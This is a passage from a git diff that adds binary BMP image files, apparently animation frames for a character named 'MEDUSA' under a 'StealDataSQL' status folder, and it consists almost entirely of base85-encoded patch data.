zL#;1*>dMHsJ9*klYZ>v&NYQZefAL6-Uc_EpljjRM$wz$4^NYYe{`l}{ zu)EJhN<))fY-wVprL<+NZ)~7zWNvPy?RiUpwae_}3PKZoV5z=vbv7X{V-WDD zugD_crloHvAd&8mOu@jig3$#yY-xN@O={$el*n`pj1+(Xsv;sh5$cBihSt)z+1;e| z<89$){7Sirq~`KkVnjS16PA~lF)}y`%<&cv4q^hLs#1%A2iWCTuNRj#UahQ=q7v6v zzx$f+Z5sx_R~J{LnD`TtvuYZbd#1J)PRRf+(3m%YuR`XRnyMQM(sK(*`Tbq}+nd`J zl?_^KVsW-GUoC6VubGjWrcgzlC`ZSfAn(%Hu!2zEj>3eA#+=bQ(s+ILctg%;L-uTE zv4f&UQEW(AQg~fpFL7X8f(gJ%8V`y!xl$}W(T4|Ep0rM z_1qQppMA{|YU~tl;^d%iKC!aCP9|@W$=hU#ZOf4S@<3vzW!8_M2&qdc^&`E^HgPeD@3$?-ov z(^1hECTIEY(MRD@>Y7(eE2pRS&t^|3tU!IUm+AEW1yuq37$1`sY6U5ch`>QyC2p|> zo7f^%4KuyrnLe5rr-Z3->m%%FHTWz93KS zULx*OY@0hF15I#Z`=p_BB`15VrfC%dvV$605d9;IlT+Wul=A;BuGHHVnH(1w$$FQz zvaY|lc($ZsdSK;X_V{A{lstD#o;#ut&s{<ZEW*kOreh-hkZW;zYGY}U@@J!DaehTq*mPy>@kJMTuKXK~Sc#bEdL- zDK)V#gE){&8Y##ddtNkNSTK^GJ(8U^n4dl22g}TfPp4LgLk6kxig#7l54W`ygalN? zhG$^|mM12tXZN<&Ctp5C8Jl^Vo5!KxQ6A3L3MvsUPSc$gM+dvqJY$_*nZDTa=+NTG zu<@SWx`Gl(HvWS2Z0cD*M+62+%+H%5r4Eo%2T5uDq_ly|)Ik8WpkT6N_%$IulkF;v ztC{WYHl;!e>m?4gIFSB;_3iQb$vMR*&xDvba`Inv3~m+`O_PX2q~t+T3UHnN?6e`k zo7ovd8L5LFAg|3=l*z`~>9L)nSYKTHh76{~BuI7WHtP1!EUs}r5xre=Ot zR$b-9o~m>^WsN8gmyLPKdJlE$Z)`y*>m_=4W%~ML1xLuS^7}!c)Kk-=<7!+gDG6N} z>4N|tDRqbh*pN9=Rx#Js_qy)ou$2Lr`_7|;ps1q*%A@U%Za>CKjsDKowmaC4RZ;z%I6F7CiAk#b2CSCvPPemEcn5QwMFH}`+G0)NP2?ek3RoajYA|2 z;~xrkM5!8&clEuy?AlD9zm27vrrvzl^NHqsGf72)x5wu4ck`N;rBxns+IV}n1cdi9 z8urJZU9*%^ZGBO8etMD=9OZ0*Y3|*xZdz$*U2AMxYwCX0*gcz7R0%P65V*@|Dx*2v z`{8Th?~Hn1d0E?Jr)w;7pG{vu1DGM_7S~rc4%KzcHgzwy53V-%%q6E5TdROfWK{TX zF#0%qbk@H#kWdr2%a9xxoQVmHbw!M{cOUKVuP@C_cDzUp@X_EDMHqwNMj%x-k+LM* zczf;EtCfS@-OlPdoP$ShXhftJg5x@kv!Qi+ZHt3GnD08ht%iXtqoBTmK_C_v9uybg z6X9g#rmvzaPA?#Qmkpw4R$uahYV$w#(f3(?EUxd)Q;VLRp7nQhM|uZn^U4U{W)q@g z7iHxWW#bj+5D;c!7pLV0rgvC($HPCDjc1WH>&*AL|z|(biBAA6Aw?$d5|MiYAyyDf8W70MTw_icBuMyHhh5g!L0A5yw~XhAYMo?gzc-l;*WU{wl3v`#Y=Mw?}`I;ztewR<(ISm z((Avo9DtY@9Ob$}mz$6j1cgho^DoaWeplPOeBT}Vm9_tR);9(Nq?eyDgraIE|Hbux VP%z&^`Mi@2|{(pP^0lxqM literal 0 HcmV?d00001 diff --git a/resources/default_config/characters/MEDUSA/status/StealDataSQL/StealDataSQL.bmp b/resources/default_config/characters/MEDUSA/status/StealDataSQL/StealDataSQL.bmp new file mode 100644 index 0000000000000000000000000000000000000000..1c81cf61ed896f2c5c790ce87c6243d80f82a626 GIT binary patch literal 18462 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 HmtX%cMd6Na literal 0 HcmV?d00001 diff --git a/resources/default_config/characters/MEDUSA/status/StealDataSQL/StealDataSQL1.bmp b/resources/default_config/characters/MEDUSA/status/StealDataSQL/StealDataSQL1.bmp new file mode 100644 index 0000000000000000000000000000000000000000..378babe74387fedc1ec45ec6fec4d4f296a7d7e0 GIT binary patch literal 18462 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 